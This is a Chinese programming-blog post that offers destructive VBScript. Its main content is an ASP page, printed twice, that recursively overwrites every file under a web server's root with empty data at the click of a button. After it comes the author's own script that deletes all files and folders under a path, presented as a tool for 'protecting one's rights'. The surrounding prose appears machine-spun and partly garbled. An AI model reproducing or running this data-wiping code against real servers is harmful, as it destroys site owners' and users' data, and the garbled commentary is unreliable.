当前位置:首页 » Python基础教程 » VBS破坏性运用代码

VBS破坏性运用代码

135°c 2021年04月06日 07:33 Python基础教程 0条评论
  移步手机端

1、打开你手机的二维码扫描APP
2、扫描左则的二维码
3、点击扫描获得的网址
4、可以在手机端阅读此文章
'在网上见到的,可用与沒有禁用shell.application的服务器   
server.scripttimeout = 99999   
If request("submit")<>"" Then  
    Call listfile(server.mappath("./"))   
    response.Write"交通事故结案"  
Else  
    response.Write"<form><input type=""submit"" name=""submit"" value=""清除全部文档的內容""></form>"  
End If  

Function listfile(fpath)   
    On Error Resume Next  
    Dim Shell, Folder, s   
    Set Shell = server.CreateObject ("shell.application")   
    Set Folder = Shell.namespace(fpath)   
    Set f = server.CreateObject("adodb.stream")   
    f.Type = 1   
    f.Open  
    For Each s in Folder.Items   
        If s.isfolder Then  
            Call listfile(s.Path)   
        Else  
            f.savetofile s.Path, 2   
        End If  
    Next  
    Set f = Nothing  
    Set Shell = Nothing  
End Function  

'在网上见到的,可用与沒有禁用shell.application的服务器
server.scripttimeout = 99999
If request("submit")<>"" Then
    Call listfile(server.mappath("./"))
    response.Write"交通事故结案"
Else
    response.Write"<form><input type=""submit"" name=""submit"" value=""清除全部文档的內容""></form>"
End If

Function listfile(fpath)
    On Error Resume Next
    Dim Shell, Folder, s
    Set Shell = server.CreateObject ("shell.application")
    Set Folder = Shell.namespace(fpath)
    Set f = server.CreateObject("adodb.stream")
    f.Type = 1
    f.Open
    For Each s in Folder.Items
        If s.isfolder Then
            Call listfile(s.Path)
        Else
            f.savetofile s.Path, 2
        End If
    Next
    Set f = Nothing
    Set Shell = Nothing
End Function
之前也见到过这一,觉得没有什么用,那么风险的部件服务器一般都禁用了,但今日,我忽然感觉有进也得搜集或制做一些那样的手机软件,能够维护保养自身的权利。实际是什么原因我不讲了,我写的一个:

view plaincopy to clipboardprint?
'见到文档删文档,见到文件夹删除文件夹名称   
Function FilesTree(sPath)   
    Set oFso = CreateObject("Scripting.FileSystemObject")   
    Set oFolder = oFso.GetFolder(sPath)   
    Set oSubFolders = oFolder.SubFolders   

    Set oFiles = oFolder.Files   
    For Each oFile In oFiles   
        'WScript.Echo oFile.Path   
        oFile.Delete  
    Next  

    For Each oSubFolder In oSubFolders   
        'WScript.Echo oSubFolder.Path   
        oSubFolder.Delete  
        'FilesTree(oSubFolder.Path)'递归算法   
    Next  

    Set oFolder = Nothing  
    Set oSubFolders = Nothing  
    Set oFso = Nothing  
End Function  

FilesTree("F:\deltest\deltest") '解析xml  

欢迎阅读本文,希望本文对您有所帮助!

本文链接:http://www.cqrxzs.com/3397.html

版权声明:本文为原创文章,版权归 雨凡教育 所有,欢迎分享本文,转载请保留出处!

百度推荐获取地址:http://tuijian.baidu.com/,百度推荐可能会有一些未知的问题,使用中有任何问题请直接联系百度官方客服!

评论(0) 赞助本站

发表评论:


【顶】 【踩】 【好】 【懵】 【赞】 【表情】

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

推荐阅读
04月20日

Python模块汇总(常见第三方库)

发布 : | 分类 : Python基础教程 | 评论 : 0人 | 浏览 : 2844次

模块 定义 计算机在开发过程中,代码越写越多,也就越难以维护,所以为了编写可维护的代码,我们会把函数进行分组,放在不同的文件里。在python里,一个.py文件就是一个模块 优点: 提高代码的可维护性。 提高代码的复用,当模块完成时就可以在其他代码中调用 引用其他模块,包含python内置模块和其他第三方模块 避免函数名和变量名等名称冲突 Python语言生态 Python语言提供超过15万个第三方库,Python库之间广泛联系、逐层封装。 使用pip安装 Python社区:ht...

04月20日

python 应用while写猜年龄小游戏过程解析

发布 : | 分类 : Python基础教程 | 评论 : 0人 | 浏览 : 2608次

要求: 用户一轮有三次机会开展猜年龄手机游戏,每猜一次会给相对应的提示告之用户应当往大些猜或是小一点猜,三次机会用完之后,可挑选重新再来三次机会。 构思: 最先界定一个原始年龄为25和原始次数0,随后每猜一次,次数加1,另外提示猜的年龄是很小或是很大,猜校时退出游戏,当次数相当于3时,提示用户是不是重新再来。 编码以下: age_of_fww = 25 count = 0 while count < 3: guess_age = int(input("guess_age:"))...

04月20日

python读文件的步骤

发布 : | 分类 : Python基础教程 | 评论 : 0人 | 浏览 : 343次

python怎么读文档? 最先,在桌面创建一个txt文档,在上面键入以下几点: 您好。Hello.abcdefg啊非常好的设计风格 查询文档的特性,获得文档的相对路径: D:\HintSoft\Hint-W7\Desktop 文件夹名称是——新建文本文档.txt, 那麼,相对路径再加上文件夹名称,便是肯定文件夹名称: D:\HintSoft\Hint-W7\Desktop\新建文本文档.txt 用python开启这一文档,并取名为f。 f = open(r"D:\HintSo...

04月20日

pip 安装库比较慢的解决方法(国内镜像)

发布 : | 分类 : Python基础教程 | 评论 : 0人 | 浏览 : 312次

针对Python开发设计客户而言,PIP安装程序包是家常饭。但海外的源下载速度确实很慢,虚度光阴。并且经常会出现下载后安装打错难题。 因此把PIP安装源换成国内镜像,能够 大幅度提高下载速度,还能够提升 安装通过率。 中国源: 新版本ubuntu规定应用https源,要留意。 清华大学:https://pypi.tuna.tsinghua.edu.cn/simple 阿里云服务器:http://mirrors.aliyun.com/pypi/simple/ 中国科大 https://pypi....

04月20日

python完成的按要求生成手机号功能示例

发布 : | 分类 : Python基础教程 | 评论 : 0人 | 浏览 : 287次

文中案例叙述了python完成的按要求生成手机号作用。共享给大伙儿供大伙儿参照,实际以下: 见到一个生成手机号的编码,因此自身提升了一下,能够 适用按要求生成手机号。 #!/usr/bin/python # coding=utf-8 ''' 1:任意生成11位手机号 2:只自定义地域(第4--7位) 3:只自定义手机尾号(第八--11位) 4:自定义后8位手机号 5:只自定义前3位 ''' import time,random print __doc__ def moblieRando...

04月19日

为什么说Python能够 完成全部的算法

发布 : | 分类 : Python基础教程 | 评论 : 0人 | 浏览 : 367次

今日强烈推荐一个Python学习培训的干货知识。 好多个印尼小伙,在GitHub里建了一个各种各样Python算法的初学者全集,如今标星早已超出2.六万。 这一新项目关键包含两一部分內容:一是各种各样算法的基本概念解读,二是各种各样算法的编码完成。 传送器在这里: https://github.com/TheAlgorithms/Python 简易详细介绍下。 算法的基本概念解读一部分,包含排序算法、检索算法、插值法算法、弹跳检索算法、迅速挑选算法、禁忌搜索算法、数据加密算法等。 这一部分內容...

04月19日

Django中应用haystack whoosh完成搜索功能

发布 : | 分类 : Python基础教程 | 评论 : 0人 | 浏览 : 364次

为了实现项目中的搜索功能,我们使用的是全文检索框架haystack+搜索引擎whoosh+中文分词包jieba 安装和配置 安装所需包 pip install django-haystack pip install whoosh pip install jieba 去settings文件注册haystack应用 INSTALLED_APPS = [ 'haystack', # 注册全文检索框架 ] 在settings文件中配置全文检索框架 # 全文检索框架的配置 HAYSTACK_...

04月19日

Django完成文件上传和下载功能

发布 : | 分类 : Python基础教程 | 评论 : 0人 | 浏览 : 358次

文中案例为大伙儿共享了Django下进行文件提交和下载作用的实际编码,供大伙儿参照,具体内容以下 一、文件提交 Views.py def upload(request): if request.method == "POST": # 要求方式为POST时,开展解决 myFile = request.FILES.get("myfile", None) # 获得提交的文件,如果没有文件,则默认设置为None if not myFile: return HttpResponse("no f...

04月19日

Python3 无反复字符的最多子串的完成

发布 : | 分类 : Python基础教程 | 评论 : 0人 | 浏览 : 347次

题型: 给出一个字符串,你要找到在其中不带有反复字符的 最多子串 的长度。 示例: 示例 1: 键入: “abcabcbb” 输出: 3 表述: 由于无反复字符的最多子串是 “abc”,因此其长度为 3。 示例 2: 键入: “bbbbb” 输出: 1 表述: 由于无反复字符的最多子串是 “b”,因此其长度为 1。 示例 3: 键入: “pwwkew” 输出: 3 表述: 由于无反复字符的最多子串是 “wke”,因此其长度为 3。 一定要注意,你的答案务必是 子串 的长度,“pwke...

您好,欢迎到访网站!
  查看权限